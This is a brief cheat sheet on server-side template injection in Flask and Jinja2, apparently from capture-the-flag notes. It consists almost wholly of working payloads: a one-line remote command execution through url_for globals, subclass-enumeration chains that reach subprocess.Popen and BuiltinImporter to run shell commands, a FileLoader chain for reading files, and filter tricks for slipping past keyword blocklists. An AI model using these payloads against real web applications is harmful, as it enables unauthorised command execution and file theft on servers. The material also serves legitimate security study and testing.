Skip to content

Server side template injection (flask)

Flask is a popular python based framework. However, flask developers may make some mistakes that result in vulnerabilities.

Quick RCE

ref
Only works in flask:

py
{{url_for.__globals__.os.popen("id").read()}}

More details

ref

List classes:

py
{{ "".__class__.__base__.__subclasses__() }}

Get subprocess.Popopen:

python
def get_popopen(string):
	i = string.index("<class 'subprocess.Popen'>")
	s = string[:i]
	return s.count(",")

Execute commands:

py
{{ "".__class__.__base__.__subclasses__()[<n>]([<cmd>], stdout=-1).communicate() }}

Alternative: frozenimportlib

Get _frozen_importlib.BuiltinImporter:

python
def get_builtinimporter(string):
	i = string.index("<class '_frozen_importlib.BuiltinImporter'>")
	s = string[:i]
	return s.count(",")

Execute commands:

py
{{ "".__class__.__base__.__subclasses__()[<n>]().load_module("os").system(<cmd>) }}

For reading files:

Get _frozen_importlib_external.FileLoader:

python
def get_fileloader(string):
	i = string.index("\<class '_frozen_importlib_external.FileLoader'\>")
	s = string[:i]
	return s.count(",")
py
{{ "".__class__.__base__.__subclasses__()[<n>].get_data(0,<file>) }}

Jinja

Useful filters and tricks (should be available in default jinja/flask app):

  • dict(string=x)|first == 'string': Get strings without using quotes
  • 'galf'|reverse: Get banned strings
  • True = 1, False = 0
  • lipsum[dict(__globals__=x)|first] = globals(): Can possibly get os module from here
  • {*open('flag')}: Read files without read